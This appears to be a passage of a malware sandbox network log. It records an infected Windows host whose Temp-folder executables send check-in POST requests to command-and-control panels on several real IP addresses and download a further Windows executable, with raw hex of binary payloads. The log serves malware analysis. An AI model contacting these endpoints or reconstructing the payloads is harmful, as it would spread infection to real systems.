Dec 23, 2024 17:17:39.470158100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 8d 05 79 7e 23 00 48 8d 0d 6a 7e 23 00 48 83 39 00 75 01 c3 48 8b d0 e9 Data Ascii: Hy~#Hj~#H9uHHt~#He~#H9uHH~#H~#H9uHH~#Hs~#H9uHHu~#Hf~#H9uHoH~#Hq~#H9uHRH~#H~
Dec 23, 2024 17:17:39.470170975 CET	1236	IN	Data Raw: 0c 00 48 8d 05 fc 62 40 00 48 8b 00 48 8d 0d a2 7a 23 00 48 83 39 00 75 01 c3 48 8b d0 e9 23 ae 0c 00 48 8d 05 ec 62 40 00 48 8b 00 48 8d 0d aa 7a 23 00 48 83 39 00 75 01 c3 48 8b d0 e9 03 ae 0c 00 48 8d 05 dc 62 40 00 48 8b 00 48 8d 0d 92 7a 23 Data Ascii: Hb@HHz#H9uH#Hb@HHz#H9uHHb@HHz#H9uHHb@HHz#H9uHHb@HHz#H9uHHb@HHz#H9uHHb@HHz#H9uHcH\|b@HHjz#
Dec 23, 2024 17:17:39.470182896 CET	1236	IN	Data Raw: 83 39 00 75 01 c3 48 8b d0 e9 63 a9 0c 00 48 8d 05 4c 60 40 00 48 8b 00 48 8d 0d ba 78 23 00 48 83 39 00 75 01 c3 48 8b d0 e9 43 a9 0c 00 48 8d 05 3c 60 40 00 48 8b 00 48 8d 0d a2 78 23 00 48 83 39 00 75 01 c3 48 8b d0 e9 23 a9 0c 00 48 8d 05 2c Data Ascii: 9uHcHL`@HHx#H9uHCH<`@HHx#H9uH#H,`@HHx#H9uHH`@HHrx#H9uHH`@HHjx#H9uHH`@HHRx#H9uHH_@HH:x#H9uHH_
Dec 23, 2024 17:17:39.470196962 CET	896	IN	Data Raw: 00 48 8b 00 48 8d 0d 62 76 23 00 48 83 39 00 75 01 c3 48 8b d0 e9 83 a4 0c 00 48 8d 05 74 60 40 00 48 8b 00 48 8d 0d 4a 76 23 00 48 83 39 00 75 01 c3 48 8b d0 e9 63 a4 0c 00 48 8d 05 7c 60 40 00 48 8b 00 48 8d 0d 42 76 23 00 48 83 39 00 75 01 c3 Data Ascii: HHbv#H9uHHt`@HHJv#H9uHcH\|`@HHBv#H9uHCSAeH%XHHHHLL'q#I8ESAeH%XHHHHLSAeH%XHHHHfLkSAeH%
Dec 23, 2024 17:17:39.470213890 CET	1236	IN	Data Raw: 8b 04 c8 b9 10 00 00 00 48 01 c1 48 8b 01 48 85 c0 0f 84 b6 49 0d 00 c3 8b 0d bb 50 41 00 65 48 8b 04 25 58 00 00 00 48 8b 04 c8 b9 10 00 00 00 48 01 c1 48 8b 01 48 85 c0 0f 84 8e 49 0d 00 c3 8b 0d 93 50 41 00 65 48 8b 04 25 58 00 00 00 48 8b 04 Data Ascii: HHHIPAeH%XHHHHIPAeH%XHHHHfIkPAeH%XHHHH>ICPAeH%XHHHHILq#I8PAeH%XHHHHH
Dec 23, 2024 17:17:39.470699072 CET	1236	IN	Data Raw: 13 00 e9 22 d7 07 00 4c 8d 05 1b 1c 0e 00 4c 8d 0d b4 1d 13 00 e9 0f d7 07 00 4c 8d 05 98 27 11 00 4c 8d 0d a1 1d 13 00 e9 fc d6 07 00 4c 8d 05 d5 81 11 00 4c 8d 0d 8e 1d 13 00 e9 e9 d6 07 00 4c 8d 05 82 93 23 00 e9 7d d6 07 00 4c 8d 05 16 95 23 Data Ascii: "LLL'LLLL#}L#qL#eHHHHHHHHo{osokoco[oSoKoCo;o3o+o#
Dec 23, 2024 17:17:39.470710993 CET	1236	IN	Data Raw: 79 f8 00 75 01 c3 48 8b d0 48 8d 49 f8 e9 63 97 0c 00 48 8b 49 30 48 8b 41 40 48 8b 00 c3 48 8b 49 30 48 8b 41 08 48 8b 00 c3 48 8b 49 30 48 8b 41 40 48 8b 00 48 8b 49 48 48 83 79 f8 00 75 01 c3 48 8b d0 48 8d 49 f8 e9 28 97 0c 00 48 8b 49 30 48 Data Ascii: yuHHIcHI0HA@HHI0HAHHI0HA@HHIHHyuHHI(HI0HAHHIHyuHHIHI0HAHHIHyuHHIHI0HQ LA(M@HHRHI0HQLA M@HHRHI0HQ LA(M@HHRHI0HQLA
Dec 23, 2024 17:17:39.470721960 CET	1236	IN	Data Raw: f8 49 8b d0 44 8b 15 52 42 41 00 65 4c 8b 04 25 58 00 00 00 4f 8b 04 d0 41 ba 30 00 00 00 4d 03 d0 4c 8b c0 49 03 02 72 28 49 3b 42 08 77 22 49 89 02 49 2b c0 48 89 08 89 50 08 c3 ba 01 00 00 00 e9 9b 5b 0c 00 66 66 66 0f 1f 84 00 00 00 00 00 4c Data Ascii: IDRBAeL%XOA0MLIr(I;Bw"II+HP[fffLL$AQAWAVAUATWVShAQULL$XAQL$H(HLH3IHtH0]AZAZ[^_A\A]A^A_AZH3H0]AZAZ[^_A\A]A^A_AZ[HL6@ItLIMA:uA
Dec 23, 2024 17:17:39.470735073 CET	1236	IN	Data Raw: 0f 42 f1 48 8b 4f 08 48 8b 81 98 00 00 00 48 8b 18 48 83 c0 08 48 89 81 98 00 00 00 48 8b 47 08 48 8d 0d a6 03 00 00 48 89 88 f8 00 00 00 48 8b 47 08 48 89 b0 80 00 00 00 48 8b 47 08 48 89 98 88 00 00 00 b8 ff ff ff ff 48 8b 5c 24 30 48 8b 74 24 Data Ascii: BHOHHHHHGHHHGHHGHH\$0Ht$8H _=?@uvH<@HtH8@HuEHlHHu3D@34L@HH@H@H@H;rH;sHWE3HH\$03Ht$8H _HH
Dec 23, 2024 17:17:39.592072964 CET	1236	IN	Data Raw: 41 56 41 55 41 54 53 41 50 56 57 55 50 52 48 81 ec 90 02 00 00 66 0f 7f b4 24 f0 02 00 00 66 0f 7f bc 24 00 03 00 00 66 44 0f 7f 84 24 10 03 00 00 66 44 0f 7f 8c 24 20 03 00 00 66 44 0f 7f 94 24 30 03 00 00 66 44 0f 7f 9c 24 40 03 00 00 66 44 0f Data Ascii: AVAUATSAPVWUPRHf$f$fD$fD$ fD$0fD$@fD$PfD$`fD$pfD$88AeH%XH0HH$LHpItHPhLH@hH@pHH$HT$ LBBBBLLHL$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	49768	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:38.967875957 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:40.357362986 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.9	49771	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:40.510742903 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:17:41.871967077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.9	49773	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:40.758764982 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:42.105458021 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:17:42.336821079 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:42.846584082 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.9	49774	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:43.245995998 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:44.550434113 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	49775	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:44.110078096 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:45.401086092 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.9	49776	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:45.194905043 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:46.480460882 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.9	49777	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:46.933317900 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:48.227541924 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:17:48.273978949 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:48.720385075 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.9	49779	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:47.553159952 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:17:48.869695902 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.9	49780	185.215.113.43	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:48.702333927 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 32 30 38 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1020826001&unit=246122658369
Dec 23, 2024 17:17:50.022344112 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.9	49781	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:49.112356901 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:50.432568073 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.9	49782	31.41.244.11	80	1980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:50.239140987 CET	66	OUT	GET /files/5195048147/mdjw5me.exe HTTP/1.1 Host: 31.41.244.11
Dec 23, 2024 17:17:51.567169905 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:51 GMT Content-Type: application/octet-stream Content-Length: 532992 Last-Modified: Mon, 23 Dec 2024 14:06:19 GMT Connection: keep-alive ETag: "67696e5b-82200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 57 5a 69 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 a6 02 00 00 d4 00 00 00 00 00 00 52 ef 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 08 00 00 06 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 48 03 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 03 00 70 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 0d 03 00 18 00 00 00 08 d0 02 00 c0 00 00 00 00 00 00 00 00 00 00 00 0c 4a [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELWZig"R@p@dH<pJl.text+ `.rdata\|@@.data%`J@.tls`@.relocpb@B.bss@
Dec 23, 2024 17:17:51.567183018 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:17:51.567208052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:17:51.567293882 CET	1236	IN	Data Raw: fd ff ff 00 00 00 00 81 bd d4 fd ff ff 00 01 00 00 0f 8d 6c 00 00 00 8b 85 d0 fd ff ff 8b 8d d4 fd ff ff 0f b6 8c 0d f8 fe ff ff 01 c8 8b 8d d4 fd ff ff 0f b6 8c 0d f8 fd ff ff 01 c8 b9 00 01 00 00 99 f7 f9 89 95 d0 fd ff ff 8d 85 f8 fe ff ff 03 Data Ascii: l$D$;E0$}vCC
Dec 23, 2024 17:17:51.567306995 CET	448	IN	Data Raw: 89 e5 8b 45 08 5d c3 0f 1f 84 00 00 00 00 00 55 89 e5 57 56 81 ec 84 00 00 00 8b 45 08 a1 40 68 43 00 31 e8 89 45 f4 c7 45 d4 00 00 00 00 e8 0c fe ff ff 8b 45 08 8d 4d d4 89 4d cc 89 45 c8 a1 7c 75 43 00 89 04 24 c7 44 24 04 62 2d a5 2f e8 eb f8 Data Ascii: E]UWVE@hC1EEEMME\|uC$D$b-/EEM1$D$D$D$D$D$D$E9EEE1$D$JCE}E$JCEE
Dec 23, 2024 17:17:51.567363977 CET	1236	IN	Data Raw: a4 00 00 00 00 c7 45 a0 00 00 00 00 c7 45 9c 00 00 00 00 8b 45 9c 3b 45 b0 0f 8d 69 00 00 00 8b 45 a8 8d 4d dc 89 04 24 e8 12 03 00 00 83 ec 04 8d 45 dc 89 04 24 c7 44 24 04 35 02 00 00 e8 ac f5 ff ff 89 45 94 8d 4d dc e8 61 03 00 00 8b 45 94 3d Data Ascii: EEE;EiEM$E$D$5EMaE=TWEMAEE@EE(EEEEM$D$U$EM1E^_]@UV`EEEE@hC1EEEE
Dec 23, 2024 17:17:51.567374945 CET	224	IN	Data Raw: e8 b6 22 00 00 83 e8 01 83 da 00 0f 8c 2d 00 00 00 e9 00 00 00 00 8b 4d 08 8b 01 8b 40 04 01 c1 e8 96 22 00 00 89 c6 8b 4c 24 40 8b 44 24 44 29 f1 19 d0 0f 8c 16 00 00 00 e9 00 00 00 00 31 c0 89 c1 89 4c 24 2c 89 44 24 30 e9 2c 00 00 00 8b 4d 08 Data Ascii: "-M@"L$@D$D)1L$,D$0,M@]"t$@T$D)L$,D$0L$,D$0L$8D$<EL$P$A"L$P"D$LD$LM@D$X$#D$X
Dec 23, 2024 17:17:51.567439079 CET	1236	IN	Data Raw: 24 e8 c5 22 00 00 89 44 24 28 8d 4c 24 58 e8 f8 23 00 00 8b 44 24 28 89 44 24 34 8b 4d 08 8b 01 8b 40 04 83 c0 00 01 c1 e8 2e 24 00 00 25 c0 01 00 00 83 f8 40 0f 84 b8 00 00 00 e9 00 00 00 00 8b 4c 24 38 8b 44 24 3c 83 e9 01 83 d8 00 0f 8c 9a 00 Data Ascii: $"D$(L$X#D$(D$4M@.$%@L$8D$<M@0$D$ M@$L$ $+$fD$&$ffD$&$D$#D$LD$LD$<D$8D$<R
Dec 23, 2024 17:17:51.567528963 CET	1236	IN	Data Raw: 08 5d c3 cc cc cc cc 55 89 e5 50 89 4d fc 8b 4d fc e8 21 15 00 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 57 56 83 e4 f8 83 ec 48 8b 45 0c 8b 45 08 a1 40 68 43 00 31 e8 89 44 24 44 c7 44 24 38 00 00 00 00 8b 4d 0c 89 e0 89 08 Data Ascii: ]UPMM!]UWVHEE@hC1D$DD$8MvD$0D$4M@-M@uL$0D$4)1L$ D$$,M@<t$0T$4)L$ D$$L$ D$$L$
Dec 23, 2024 17:17:51.567543030 CET	1236	IN	Data Raw: 46 00 00 a8 01 0f 85 05 00 00 00 e9 0b 00 00 00 8b 44 24 3c 83 c8 04 89 44 24 3c e9 00 00 00 00 8b 4c 24 34 8b 01 8b 40 04 83 c0 00 01 c1 8b 44 24 3c 31 d2 89 04 24 c7 44 24 04 00 00 00 00 e8 0f 1c 00 00 83 ec 08 8d 4c 24 54 e8 53 1c 00 00 8b 4c Data Ascii: FD$<D$<L$4@D$<1$D$L$TSL$d1wD$4e^_]UEEEZEZH>N]EEE]UEMMME$E]
Dec 23, 2024 17:17:51.687025070 CET	1236	IN	Data Raw: 00 00 8d 4d 08 8d 45 0c 89 0c 24 89 44 24 04 e8 2b 00 00 00 8b 45 0c 8b 4d 08 89 0c 24 89 44 24 04 e8 99 8b 00 00 8b 4d fc 31 e9 e8 ce 8b 00 00 83 c4 0c 5d c3 cc cc cc cc cc cc cc cc cc cc 55 89 e5 83 ec 10 8b 45 0c 8b 45 08 8b 45 0c 8b 08 83 c1 Data Ascii: ME$D$+EM$D$M1]UEEE#EEE@EEE+EE}}#CME]UE]UPMM]UMMMM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.9	49783	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
